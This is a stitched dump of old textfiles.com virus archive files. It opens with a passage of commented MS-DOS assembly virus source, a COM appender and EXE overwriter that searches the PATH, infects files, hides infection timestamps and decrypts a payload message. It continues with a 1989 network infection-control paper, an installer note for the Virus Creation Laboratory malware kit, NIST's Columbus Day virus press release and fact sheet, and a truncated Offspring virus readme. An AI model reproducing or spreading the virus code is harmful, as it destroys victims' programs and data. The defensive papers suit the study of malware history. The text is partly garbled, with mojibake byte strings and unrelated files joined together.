com_mask db "*.COM",0 ; Mask for all .COM files
traverse_path:
mov es,word ptr cs:[002Ch] ; ES holds the enviroment segment
xor di,di ; DI holds the starting offset
find_path:
lea si,[bx + ath_string] ; SI points to "PATH="
lodsb ; Load the "P" into AL
mov cx,08000h ; Check the first 32767 bytes
repne scasb ; Search until the byte is found
mov cx,4 ; Check the next four bytes
check_next_4:
lodsb ; Load the next letter of "PATH="
scasb ; Compare it to the environment
jne find_path ; If there not equal try again
loop check_next_4 ; Otherwise keep checking
mov word ptr [bx + path_ad],di ; Save the PATH address
mov word ptr [bx + path_ad + 2],es ; Save the PATH's segment
ret ; Return to caller
ath_string db "PATH=" ; The PATH string to search for
path_ad dd ? ; Holds the PATH's address
found_subdir:
lds si,dword ptr [bx + path_ad] ; DS:SI points to PATH
lea di,[bp+offset pathstore+65] ; DI points to the work buffer
push cs ; Transfer CS into ES for
pop es ; byte transfer
move_subdir:
lodsb ; Load the next byte into AL
cmp al,';' ; Have we reached a separator?
je moved_one ; If so we're done copying
or al,al ; Are we finished with the PATH?
je moved_last_one ; If so get out of here
stosb ; Store the byte at ES:DI
jmp short move_subdir ; Keep transfering characters
moved_last_one:
xor si,si ; Zero SI to signal completion
moved_one:
mov word ptr es:[bx + path_ad],si ; Store SI in the path address
ret ; Return to caller
;O.K. -- Now here's an important 'architectural' point: The following
;code (down to the next inset) will never be executed within the COM
;appender (that viral code jumps over it). It will, however be the first
;thing executed within overwritten EXE files. Why? Because in EXE infec-
;tion mode, everything from EXFECT on down (but nothing previous) is
;written over the beginning of the EXE host file.
exfect: call next_two ;Here again we see the old trick
;for pointing BP to start of
next_two: pop bp ;viral code. (possibly should
sub bp, offset next_two ;have been subroutined [?]).
mov si,3 ;throw master switch for EXE
;infection, so infection code
;below knows to use that mode!
lea dx,[bp+offset dta] ;set DTA: This would normally
call set_dta ;be utterly ridiculous (!) in an
;overwriting virus but is used
;here to maintain compatibility
;with the infection code.
call find_files ;try to infect another EXE.
jmp prequit ;display message & quit to DOS.
;Now we're back to Dark Angel's code, expanded to save & restore file
;date/time-stamp, and of course to accomodate the new EXE overwriting code
;and infection-mode 'switching system'. This is where infection actually
;takes place.
find_files:
push bp ;for compatibility with path-search.
mov ah, 4eh ;phunction phor phinding phirst phile
;that phits phile-mask.
tryanother:
lea dx, [bx+com_mask] ;by default, look for a .COM extension.
cmp si, 3 ;is the EXE infector switch thrown?
jne short look ;if not go on, else qeue up '*.EXE' mask
lea dx, [bp+exemask] ;in place of '*.COM'.
look:
xor cx, cx ;attribute mask - find only normal
int 21h ;attributes.
jnc open_file ;Have we run out of candidates in this
pop bp ;directory? If not go on, else return.
ret ;note: a candidate file matches the file
;mask & has normal attributes.
open_file:
mov ax, 3D02h ;DOS open file function.
lea dx, [bp+offset dta+30] ;get file name out of DTA (put there
;for us by the 4eh or 4fh function).
int 21h
xchg ax, bx
mov ah, 3fh ;read the first 3 bytes of file & put
lea dx, [bp+stuff] ;them in 'stuff' buffer, where we can
mov cx, 3 ;inspect them for previous infection.
int 21h
cmp si,3 ;is the EXE infector switch thrown?
jne short comcheck ;if not, use the COM file checker.
mov di,dx ;otherwise, check EXE for infection.
cmp byte ptr [di], 4dh ;is the first byte of the EXE an 'M'?
jne short searchloop ;no? then already fucked. Keep looking.
jmp infect_file ;otherwise let's infect it.
comcheck: ;DARK ANGEL'S COMMENTS:
mov ax, word ptr [bp+dta+26] ;"ax = filesize
mov cx, word ptr [bp+stuff+1] ;jmp location
add cx, eov - find_start + 3 ;convert to filesize
cmp ax, cx ;if same, already infected
jnz short infect_file ;so quit out of here"
searchloop:
call close ;close the file.
mov ah, 4fh ;DOS 'find next file' function.
jmp short tryanother ;go back up & try to find new victim.
infect_file:
mov cx, word ptr [bp+dta+22] ;Read file date & time
mov dx, word ptr [bp+dta+24] ;stamps from DTA & store
push cx ;them for retrieval after
push dx ;infection is complete.
cmp si, 3 ;branch if this is to be
jne short comfect ;a COM infection. other-
;wise, we now replicate the
;EXE overwriting virus.
xor al, al ;go to the beginning of
call f_ptr ;the file.
mov ah, 40h ;write to file function.
mov cx, eov - exfect ;write EXFECT through EOV
lea dx, [bp+exfect] ;to the EXE file. [another
int 21h ;EXE is now our slave.]
jmp short finishfect ;now, finish up.
comfect: ;COM infection routine.
;SAYETH DARK ANGEL:
;"Calculate the offset of the jmp.
sub ax, 3 ;ax = filesize - 3"
mov word ptr [bp+writebuffer], ax ;store jump offset in buffer.
xor al, al ;null AL (write will start
call f_ptr ;at byte 0 of file. move
;file pointer there).
mov ah, 40h ;write to file function.
mov cx, 3 ;we'll write 3 bytes, namely
lea dx, [bp+e9] ;the contents of E9 buffer.
int 21h ;victim file now begins with
;a jump to the viral code!
mov al, 2 ;now move file pointer to
call f_ptr ;the end of the victim file.
mov ah, 40h ;write to file again.
mov cx, eov - find_start ;Namely, write the main
lea dx, [bp+find_start] ;viral code.
int 21h ;virus is now appended to
;the file.
finishfect: ;now to clean up a little.
pop dx ;get old file date/time-
pop cx ;stamp off of stack.
mov ax, 5701h ;DOS set file date/time
int 21h ;stamp. (Otherwise, they
;would be left set to date
;& time of infection).
pop bp ;path-searcher will want
;it's old bit pointer back.
close:
mov ah, 3eh ;DOS close file function.
int 21h
ret ;return to CALL_INFECTOR.
;end of infection routine.
primal db "<22><><EFBFBD><EFBFBD><EFBFBD>Ͻ<EFBFBD><CFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>" ;an encrypted text
;string, mainly here to pad appended virus length out to 666
;bytes. 'Tight Code' purists will shit a brick over this.
;the COM infector never uses the PREQUIT routine below. Only the EXFECT
;routine (which is only used by the EXE overwriting virus, for reasons ex-
;plained in the inset above EXFECT) jumps to it. It's the EXE infector's
;message payload. PREQUIT uses a simple encryption/decryption mechanism
;to keep the message hidden from file viewers & such. It may have been
;better (albeit a bit costlier in speed & bytes) to encrypt the entire
;virus (preferably, with polymorphic capabilities tossed in). I hope to
;make this mod in my next variant. But for now, trojan programmers might
;find this routine of interest:
prequit:
lea si,[bp+offset msg] ;queue up message to be displayed.
mov cx,204 ;CX holds length of message.
xorloop: ;loop will decrypt & display message.
lodsb ;load next byte of message into AL.
xor al,128 ;XOR the byte by our key.
mov ah,0eh ;BIOS 'teletype' write to screen (the
int 10h ;the character is already in AL).
loop xorloop ;loop until CX's # of bytes processed.
mov ax,4c00h ;exit to DOS function, will return
int 21h ;user to DOS prompt.
; Here's the encrypted version of our 'can't execute' message. Note that
; this odd byte pattern may look suspicious to someone in the know using a
; file viewer, but then, so would the unencrypted file_masks and "PATH="!
msg db "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\\[[[[[[[[\\<5C><><EFBFBD><EFBFBD>\[[[[[2[[[[[[[[<5B><><EFBFBD>^[2[[[[[[[["
db "[[[[[]<5D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>庍<EFBFBD><E5BA8D>^[[[[[22[[[_"
db "<22><><EFBFBD>[<5B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>䡍<EFBFBD><E4A18D><EFBFBD>[[[[[[22[[\\\[_<><5F><EFBFBD><EFBFBD><EFBFBD>[["
db "[[22_2[[[[]<5D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>__[[22\^2[[[]<5D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>22]]]<5D><>"
; D.A. SAYS: "Restore the DTA and return control to the original program
quit: mov dx, 80h ;Restore current DTA to
;the default @ PSP:80h
set_dta:
mov ah, 1ah ;Set disk transfer address"
int 21h ;so, let it be written,
ret ;so, let it be done.
f_ptr: mov ah, 42h ;DOS move file pointer
xor cx, cx ;DARK ANGEL:
cwd ;"equivalent to: xor dx, dx"
int 21h
ret
exemask db "*.EXE",0 ;file-mask for EXEs.
; All commentary from here down is the DARKANGELMEISTER's. Hope you found
; the code useful and/or informative. P.F. signing off...
; Original three bytes of the infected file
; Currently holds a INT 20h instruction and a null byte
stuff db 0cdh, 20h, 0
e9 db 0e9h
eov equ $ ; End of the virus
; The following variables are stored in the heap space (the area between
; the stack and the code) and are not part of the virus that is written
; to files.
writebuffer dw ? ; Scratch area holding the
; JMP offset
dta db 42 dup (?)
pathstore db 135 dup (?)

378
textfiles.com/virus/net.hor Normal file
View File

@@ -0,0 +1,378 @@
Date: Thu, 16 Mar 89 20:56:18 +0100
From: David Stodolsky <stodol@diku.dk>
Net Hormones: Part 1 -
Infection Control assuming Cooperation among Computers
Copyright (c) 1989 David S. Stodolsky, PhD. All rights reserved.
1. Abstract
A new type of infection control mechanism based upon contact tracing is
introduced. Detection of an infectious agent triggers an alerting
response that propagates through an affected network. A result of the
alert is containment of the infectious agent as all hosts at risk
respond automatically to restrict further transmission of the agent.
Individually specified diagnostic and treatment methods are then
activated to identify and destroy the infective agent. The title "Net
Hormones" was chosen to indicate the systemic nature of this programmed
response to infection.
2. Introduction
A new type of infection control mechanism that is based upon network-
wide communication and that depends upon cooperation among computer
systems is presented. Neither diagnosis nor treatment is necessary for
the operation of the mechanism. The mechanism can automatically trigger
responses leading to effective containment of an infection. The
identification and destruction of the infectious agent is determined by
individual actions or programs. This permits a highly desirable
heterogeneity in diagnostic and treatment methods.
Definition: "Hormone . . . 1: a product of living cells that circulate
in body fluids or sap and produces a specific effect on the activity of
cells remote from its point of origin; especially one exerting a
stimulatory effect on a cellular activity. 2: a synthetic substance
that acts like a hormone (Webster's new collegiate dictionary, 1976)."
The analogy here is between each network node or computer system and
the cell. In biological systems hormones attach to specialized
receptors on the cell surface resulting in cell activation. In the
system described here, a match between a code in a system archive and a
code delivered as part of an alerting message results in activation.
Alerting messages circulated electronically serve the role of hormones.
Epidemiology has traditionally had three major approaches to the
control of infectious agents:
:1 - Treatment of the sick (e. g., penicillin)
:2 - Contact tracing (e. g., social-work notification programs, laws
forcing the reporting of certain diseases and of contacts of infected
persons)
:3 - Prevention (e. g., vaccination, public information campaigns)
In computer system terms:
:1 - Treatment of infections (e. g., various programs and manually
installed patches and fixes)
:2 - Contact tracing (e. g., software "recall", and other manual
operations)
:3 - Prevention (e. g., various programs for blocking virus
replication, alerting users, and for logging suspicious events)
Contact tracing has been neglected with computer systems, although it
could be argued it is much easier with computer systems than with
biological systems. Currently such tracing depends upon people reading
reports and determining if their system is subject to infection,
performing diagnostic tests, determining a treatment method, obtaining
software, and so on. This is chancy and time consuming, requiring most
often people with the highest level of expertise. As computers and
networks speed up, an infectious agent could spread through a network
in hours or minutes. "Once a virus has infected a large number of
computers on a network, the number of infected removable media elements
will begin to skyrocket. Eventually, if the virus continues to go
undetected, a stage is reached in which the probability of identifying
and recovering all of the infected media is virtually zero (McAfee,
1989)." An automated contact tracing system thus seems essential in the
future if infectious agents are to be controlled.
3. Threats
"The modification of an existing virus to incorporate a long term delay
(such as 6 months or even a year) coupled with a totally destructive
manipulation task (such as a FAT, Boot sector scribble followed by a
complete format) is a fairly simple task. Such an action would convert
even a crude virus strain such as the Lehigh 1 virus into a
devistating (sic) strain. (Eg the comment by Ken that the modified
version of the Lehigh virus is now far more dangerous due to
modification of the delay in activation of its manipulation task)
(Ferbrache, 1989)."
Scott (1989) requested comments on:
"A little future speculation here... currently we seem to be fighting a
losing battle against virus detection and as viruses improve it's
unlikely that that will change. If we want the capability to download
shareware, etc, from bulletin boards, etc, then we must assume that we
cannot check the software for a virus with 100% success before running
it. In general, you can't know the output of a program given the
input without running it, except in special cases.
We can check for *known* viruses; but how long before shape-changing
and mutating viruses hit the scene that defeat all practical
recognition techniques?"
An inapparent infection could spread rapidly, with damage noted only
much later. Consider a worm that is constructed to carry a virus. The
worm infects a system, installs the virus and then infects other nearby
systems on the net. Finally, it terminates erasing evidence of its
existence on the first system. The virus is also inapparent, it waits
for the right moment writes some bits and then terminates destroying
evidence of its existence. Later the worm retraces its path reads some
bits, then writes some bits and exits. The point is that an inapparent
infection could spread quite widely before it was noticed. It also
might be so hard to determine whether a system was infected or not,
that it would not be done until damage was either immanent or apparent.
This analysis suggests response to network-wide problems would best be
on a network level.
4. Theory of operation
Computers generate (in the simplest case) random numbers which are used
to label transactions. A transaction is defined as an interaction
capable of transmitting an infectious agent. After each transaction
both systems therefore have a unique label or code for that
transaction. In the event that a system is identified as infected, the
transaction codes which could represent transactions during which the
agent was transmitted are broadcast to all other computers. If a
receiving computer has a matching code, then that system is alerted to
the possibility of the agent's presence, and can broadcast transaction
codes accumulated after the suspect contact. This iterates the process,
thus identifying all carriers eventually. The effect is to model the
epidemiological process, thereby identifying all carriers through
forward and backward transaction tracking (Stodolsky, 1979a; 1979b;
1979c; 1983; 1986).
5. The process of infection control
The process can be broken down into routine and alerting operations.
During routine operations, each file transfer is labeled in a way that
does not identify the systems involved. These labels are time stamped
(or have time stamps encoded in them). They are written into archives
on each system, ideally write-once/read-many times devices or some
other type of storage that could not easily be altered.
Alerting procedures are invoked when an infectious agent is noted or
when a suspect transaction code is received that matches one in the
system's archive. The earliest time the agent could have arrived at the
system and latest time (usually the moment the agent is noted or a
received suspect transaction code is matched) it could have been
transmitted from the system are used to delimit suspect transaction
codes. These codes are broadcast to alert other systems to the
potential presence of the agent.
In the simplest and most common case, if a system gets an alert that
indicates, "You could have been infected at time one," then the system
automatically packages the transaction codes between time one and the
present time to generate a new alert indicating the same thing to other
systems with which it has had contact.
Another automatic response could be to immediately cut off
communications in progress, thus reducing the risk of infection. A
further benefit of such a reaction would be the possibility of
disrupting the transfer of an infectious agent. Such a disrupted agent
would be harmless and easily identified and evaluated. Reestablishment
of communication could occur immediately with new procedures in force
that could warn new users that an alert was in progress as well as
limiting the type of transfers that could take place.
5.1. Practical considerations
Direct identification, as opposed to identification through forward
tracing notification, does not delimit effectively the earliest time
that an agent could have been present on a system. Thus an alert from
an originating system could include all transaction codes written prior
to the identification (or some default value). This could generate
excessive reaction on the network. This reaction could be controlled if
another system in a later alert indicated it had originated the
infection on the system originating the alert. Thus, protection of
identity which reduces any inhibition about reporting infection is
important. The type of reaction discussed here might be called a panic
reaction, because an excessive number of systems might be notified of
potential infection in the first instance.
A more restricted response could be generated if persons at the alert
originating system analyzed the causative agent, thereby hopefully
establishing the earliest time the agent could have been present on
that system. In this case, the suspect transactions could be delimited
effectively and all systems that could have been infected would be
notified, as would the system that had transmitted the agent to the
system originating the alert (assuming one exists). Ideally, each
notified system would be able to determine if it had received or
originated the infection and respond accordingly.
5.2. Forward tracing assumption
Assume, however, that rapid response is desired. Each notified system
would then react as if it had been notified of an infection transmitted
to it. It would package the transaction codes that had been written
later than the suspect transaction code it had received and issue a
secondary alert. This forward tracing assumption would lead to quite
effective control because of the exponential growth in the number of
infected hosts in epidemics (and exponential growth of alerts resulting
>From forward tracing). That is, a system can infect many others as a
result of a single infective agent transmitted to it. Forward tracing
would alert all systems that the alerting system could have infected.
These newly alerted systems would also issue forward trace alerts, and
this would continue until containment was reached under the forward
tracing assumption.
5.3. Backward tracing of suspect contacts and diagnosis
As a result of this rapid forward tracing response, it is likely that
more active infections would be identified. The resulting new
information could be used to more effectively characterize the life
cycle of the agent, thereby hopefully permitting effectively delimited
backward tracing. Also as a result of accumulated information, positive
tests for the agent would become available. Once this stage had been
reached the focus of action could shift from control of suspect
transactions to control of transactions known to facilitate the
transmission of the agent.
6. Feasibility and Efficiency
Both technical and social factors play a key role in the operation of
the control mechanism. Contact tracing is probably most effective for
sparsely interacting hosts. The rate of transfer of the infectious
agent as compared to the rate of transfer of the suspect transaction
codes is also a critical factor. Recording of transactions can be
comprehensive on computer networks, however, unregistered transactions
will be a factor in most cases. Once the infectious agent has been
identified, the type of transactions capable of transmitting the agent
can be delimited. This could increase efficiency.
6.1. Social organization of alerts
Another major efficiency factor is errors in origination of alerts.
Since protected messages would trigger network-wide alerts, it is
important that false alarms are controlled effectively. On the other
hand, failure to report an infection could permit an infectious agent
to spread in an uncontrolled manner and could increase the number of
systems unnecessarily alerted. Successful operation of the mechanism
described above assumes voluntary cooperation among affected systems.
This assumption could be relaxed by application of an enforcement
mechanism. It would require substantially greater complexity and
greater centralization of coordination. In other words, if cooperation
was not forthcoming "voluntarily", users would likely be treated to a
complicated, restrictive, and resource intensive mechanism that would
be developed to enforce it. "Estimates of the damages inflicted by
November's Internet infection alone ranged upward of $100 million . . .
(McAfee, 1989)." Costs of this magnitude make it very likely that even
expensive enforcement mechanisms will be developed if they are made
necessary.
The simplest organizational strategy would assume that protection of
identity was not needed, but this would also be likely to inhibit
alerting. True anonymity, however, permits irresponsible behavior to go
unchecked. A reputation preserving anonymity (pseudonymity) would be
desirable to ensure both protection and accountability and thereby
promote cooperation. Pseudonyms would best be the property of persons
(in association with a computer system).
Even sincere cooperation, however, would not eliminate inefficiencies
resulting from false alarms or failure to alert. Both inadequate
training and poor judgement are likely sources of these errors. If
users realize that there are reputational costs associated with these
failures, then they are likely to be motivated to minimize them. False
alarms are already a major problem because of user inexperience and the
high level of defects in widely used software. A reputational mechanism
would motivate increased user education and more careful software
selection, with a corresponding pressure on software publishers to
produce well behaved and carefully documented products.
6.2. Enforcing cooperation
Crypto-protocols could be used to ensure that a non-cooperator could
not communicate freely with others using the infection control
mechanism. This type of communication limiting could be used routinely
to ensure that a system requesting connection was not infected. In
effect, systems would exchange health certificates before file
exchanges, to ensure that they would not be infected. A system that
could not show a health certificate could be rejected as a conversation
partner due to risk of infection. This would no doubt enforce
cooperation. The mechanism (Stodolsky, 1986) is beyond the scope of
this note.
6.3. Non-network transfers
While the discussion above has focused on transfers through networks,
the same principles could be applied to disk or tape transfers. The
originating system would write a transaction code on the medium with
each file. Protection of identity would possibly be reduced under this
type of transfer. Since there is no question about the directionality
of transmission of an infectious agent in off-line transfers, non-
network transmission is likely to be easier to control. Several other
factors, such as the rate of spread of the agent, are likely to make
such infections less troublesome.
7. Summary and Benefits
The idea behind Net Hormones is to make immanent danger apparent. More
precisely Net Hormones permit the visualization of infection risk.
7.1. Control of unidentified infectious agents.
Net Hormones work by permitting isolation of infectious hosts from
those at risk. Identification of the infectious agent is not required
for action. Therefore, new and as yet unidentified agents can be
effectively controlled.
7.2. Rapid response
Hosts could automatically respond to alerts by determining if they had
been involved in suspect contacts, and generate new alerts that would
propagate along the potential route of infection.
7.3. Protection of identity
The mechanism could function without releasing the identity of an
infected host. This could be crucial in the case an institution that
did not wish it to be publicly know that its security system had been
compromised, or in the case of use of unregistered software. More
precisely, software obtain by untraceable and anonymous file transfers
could be protected by this mechanism without release of users'
identity.
7.4. Distributed operation
Operation is not dependent upon a centralized register or enforcement
mechanism. Some standardization would be helpful, however, and a way to
broadcast alerts to all potential hosts would be valuable.
8. References
Ferbrache, David J. (1989, February 10). Wide area network worms.
VIRUS-L Digest, V. 2 : Issue 44. [<davidf@CS.HW.AC.UK> <Fri, 10 Feb 89
11:45:37 GMT>]
McAfee, J. D. (1989, February 13). In depth: Managing the virus threat.
Computerworld, 89-91; 94-96.
Scott, Peter. (1989, February 10). Virus detection. VIRUS-L Digest, V.
2 : Issue 44. [PJS%naif.JPL.NASA.GOV@Hamlet.Bitnet
<pjs@grouch.jpl.nasa.gov>. <Fri, 10 Feb 89 10:46:21 PST>]
Stodolsky, D. (1979a, April 9). Personal computers for supporting
health behaviors. Stanford, CA: Department of Psychology, Stanford
University. (Preliminary proposal)
Stodolsky, D. (1979b, May 21). Social facilitation supporting health
behaviors. Stanford, CA: Department of Psychology, Stanford University.
(Preliminary proposal)
Stodolsky, D. (1979c, October). Systems approach to the epidemiology
and control of sexually transmitted diseases. Louisville, KY: System
Science Institute, University of Louisville. (Preliminary project
proposal)
Stodolsky, D. (1983, June 15). Health promotion with an advanced
information system. Presented at the Lake Tahoe Life Extension
Conference. (Summary)
Stodolsky, D. (1986, June). Data security and the control of infectious
agents. (Abstracts of the cross disciplinary symposium at the
University of Linkoeping, Sweden: Department of Communication Studies).
Webster's new collegiate dictionary. (1976). Springfield, MA: G. & C.
Merriam
-------------------------------------------------------------
David Stodolsky diku.dk!stodol@uunet.UU.NET
Department of Psychology Voice + 45 1 58 48 86
Copenhagen Univ., Njalsg. 88 Fax. + 45 1 54 32 11
DK-2300 Copenhagen S, Denmark stodol@DIKU.DK

29
textfiles.com/virus/newinstl.txt Normal file
View File

@@ -0,0 +1,29 @@
NOTE: VCL.ZIP (Nowhere Man's Virus Creation Laboratory v1.00) IS REQUIRED
TO INSTALL V.C.L.; THIS PROGRAM ALONE IS NOT SUFFICIENT. PLEASE FOLLOW
THE INSTRUCTIONS BELOW.
New INSTALL for V.C.L.
----------------------
This is the new installation program for Nowhere Man's Virus
Creation Laboratory v1.0. The original installation program had a bug
that would cause a system hang whenever you tried to install V.C.L. to
a disk other than the one that INSTALL.EXE exsisted upon. This has been
corrected, and a few other small improvements have been made. If you
have the original .ZIP of V.C.L. v1.0 (you're a sysop, etc.), please
replace the INSTALL.EXE included in the package with this one (use
"PKZIP -k -a VCL.ZIP INSTALL.EXE"). Future versions of V.C.L. will be
shipped with this (or a better) installation program.
Before reinstalling V.C.L., use the DOS SETVER utility to set
the apparent DOS version for V.C.L. to 3.30 ("SETVER VCL.EXE 3.30");
ignore the ridiculous warning that SETVER will give you. You must reboot
for the new SETVER entry to kick in. Then run install...
Thanks to Couch, The Professor, PDP-11, Guido Sanchez, Snake Eyes,
Number Six, Ned, and all of the others around 708 who informed me of this
grevious error. I apologize for any inconvenience, but these bugs just
seem to creep in on you.
Hope you enjoy V.C.L.!
-- Nowhere Man, [NuKE] '92

105
textfiles.com/virus/nist01.txt Normal file
View File

@@ -0,0 +1,105 @@
Columbus Day Virus: Press Release (21)
FOR IMMEDIATE RELEASE: Jan Kosko
Sept. 22, 1989 301/975-2762
TN-XXXX
COMPUTER SECURITY EXPERTS ADVISE STEPS
TO REDUCE THE RISK OF VIRUS ATTACKS
To reduce the risk of damage from potentially serious
computer viruses, including one called "Columbus Day," experts at
the National Institute of Standards and Technology (NIST), the
National Computer Security Center (NCSC), and the Software
Engineering Institute (SEI) are recommending several measures plus
commonsense computing practices.
"This advice is being offered to encourage effective yet calm
response to recent reports of a new variety of computer virus,"
says Dennis Steinauer, manager of the computer security management
and evaluation group at NIST.
While incidents of malicious software attacks are relatively
few, they have been increasing. Most recently, a potentially
serious personal computer virus has been reported. The virus is
known by several names, including "Columbus Day," Datacrime and
"Friday the 13th." In infected machines it is designed to attack
the hard-disk data-storage devices of IBM-compatible personal
computers on or after October 13. The virus is designed to
destroy disk file directory information, making the disk's
contents inaccessible. (A fact sheet on this virus is attached
and includes precautionary measures to help prevent damage.)
While the Columbus Day virus has been identified in both the
United States and Europe, there is no evidence that it has spread
extensively in this country or that it is inherently any more
threatening than other viruses, say the computer security experts.
"Computer virus" is a term often used to indicate any self-
replicating software that can, under certain circumstances,
destroy information in computers or disrupt networks. Other
examples of malicious software are "Trojan horses" and "network
worms." Viruses can spread quickly and can cause extensive
damage. They pose a larger risk for personal computers which tend
to have fewer protection features and are often used by non-
technically-oriented people. Viruses often are written to
masquerade as useful programs so that users are duped into copying
them and sharing them with friends and work colleagues.
Routinely using good computing practices can reduce the
likelihood of contracting and spreading any virus and can minimize
its effects if one does strike. Advice from the experts includes:
* Make frequent backups of your data, and keep several
versions.
* Use only software obtained from reputable and reliable
sources. Be very cautious of software from public sources,
such as software bulletin boards, or sent across personal
computer networks.
* Don't let others use your computer without your consent.
* Use care when exchanging software between computers at work
or between your home computer and your office computer.
* Back up new software immediately after installation and use
the backup copy whenever you need to restore. Retain
original distribution diskettes in a safe location.
* Learn about your computer and the software you use and be
able to distinguish between normal and abnormal system
activity.
* If you suspect your system contains a virus, stop using it
and get assistance from a knowledgeable individual.
In general, educating users is one of the best, most cost-
effective steps to take, says Steinauer. Users should know about
malicious software in general and the risks that it poses, how to
use technical controls, monitor their systems and software for
abnormal activity, and what to do to contain a problem or recover
from an attack. "An educated user is the best defense most
organizations have," he says.
A number of commercial organizations sell software or
services that may help detect or remove some types of viruses,
including the Columbus Day virus. But, says Steinauer, there are
many types of viruses, and new ones can appear at any time. "No
product can guarantee to identify all viruses," he adds.
To help deal with various types of computer security threats,
including malicious software, NIST and others are forming a
network of computer security response and information centers.
These centers are being modeled after the SEI's Computer Emergency
Response Team Coordination Center, often called CERT, established
by the Defense Advanced Research Projects Agency (DARPA). The
centers will serve as sources of information and guidance on
viruses and related threats and will respond to computer security
incidents.
In addition, NIST recently has issued guidelines for
controlling viruses in various computer environments including
personal computers and networks.
NIST develops security standards for federal agencies and
security guidelines for unclassified computer systems. NCSC, a
component of the National Security Agency, develops guidelines for
protecting classified (national security) systems. SEI, a
research organization funded by DARPA, is located at Carnegie
Mellon University in Pittsburgh.
NOTE: Computer Viruses and Related Threats: A Management Guide
(NIST Special Publication 500-166) is available from
Superintendent of Documents, U.S. Government Printing Office,
Washington, D.C. 20402. Order by stock no. 003-003-02955-6 for
$2.50 prepaid. Editors and reporters can get a copy from the NIST
Public Information Division, 301/975-2762.

99
textfiles.com/virus/nist02.txt Normal file
View File

@@ -0,0 +1,99 @@
Columbus Day Virus: A Fact Sheet (22)
Sept. 22, 1989
FACT SHEET
Columbus Day Computer Virus
Several reports of a new computer virus recently have been
published in the media and throughout the data processing
community. This virus has been referred to as "Columbus Day,"
"Friday the 13th," as well as "Datacrime I" or "Datacrime II." It
attacks IBM-compatible personal computers running the MS-DOS/PC-
DOS operating system. If activated, the virus will destroy disk
file directory information, making files and their contents
inaccessible. The following information has been compiled by
NIST, NCSC, and SEI from several sources and is being made
available for system managers to use in taking precautionary
measures.
NOTE: As with many viruses, there may be other, yet unidentified,
variants with different characteristics. Therefore, this
information is not guaranteed to be complete and accurate for all
possible variants.
NAMES OF VIRUS: Columbus Day, Friday the 13th, Datacrime I/II
EFFECT: Performs a low-level format of cylinder zero of the
hard disk on the target machine, thereby destroying the boot
sector and File Allocation Table (FAT) information. Upon
activation it may display a message similar to the following:
DATACRIME VIRUS RELEASED:1 MARCH 1989
TRIGGER: The virus is triggered by a system date 13 October or
later. (Note that 13 October 1989 is a Friday.)
CHARACTERISTICS: Several characteristics have been identified:.
1. The virus, depending on its variant, appends itself to .COM
files (except for COMMAND.COM), increasing the .COM file by
either 1168 or 1280 bytes. In addition, the Datacrime II variant
can infect .EXE files, increasing their size by 1514 bytes.
2. The 1168 byte version contains the hex string EB00B40ECD21B4.
3. The 1280 byte version contains the hex string
00568DB43005CD21.
This virus reportedly was released on 1 March 1989 in Europe. It
is unlikely that significant propagation could occur between the
release date and mid-October; therefore, U.S. systems should be
at a low risk for infection. If safe computing practices have
been followed, the risk should be practically nil. However,
managers believing their site may be at risk should consider
taking precautionary measures, including one or more of the
following actions:
1. Take full back-ups of all hard disks. If the disks are later
found to have been infected and attacked by the virus, lost data
can be recovered from the back-ups. Operating system and
application software can be restored from original media. A full
low-level disk format should be performed on the infected hard
disk prior to restoration procedures.
2. Consider using a commercial utility that can assist in
restoration of a disk directory and recovery of data. There are
a number of such utilities on the market. Note that these
utilities normally must be run prior to data loss to enable disk
and file restoration.
3. Avoid setting the system date to 13 October or later until
the systems have been checked for virus presence.
4. Attempt to determine if the virus is present in one or more
files through one of the following techniques:
a. If original file sizes are known, check for increased
sizes as noted above.
b. Use DEBUG or other utility to scan .COM and .EXE files
for the characteristic hexadecimal strings noted
earlier.
c. Copy all software to an isolated system and set the
system date to 13 October or later and run several
programs to see if the virus is triggered. If
activation occurs, all other systems will require virus
identification and removal.
d. Use a virus-detection tool to determine if this (or
another) virus is present.
Commercial products intended to detect or remove various computer
viruses are available from several sources. However, these
products are not formally reviewed or evaluated; thus, they are
not listed here. The decision to use such products is the
responsibility of each user or organization.

36
textfiles.com/virus/offspr82.txt Normal file
View File

@@ -0,0 +1,36 @@
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ
<EFBFBD> OFFSPRING v0.82 - By Virogen - 09/06/93<39>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Yea yea here is Offspring v0.82 .. this really isn't a release which
involved much change as far as coding goes. Mcafee's SCAN has been
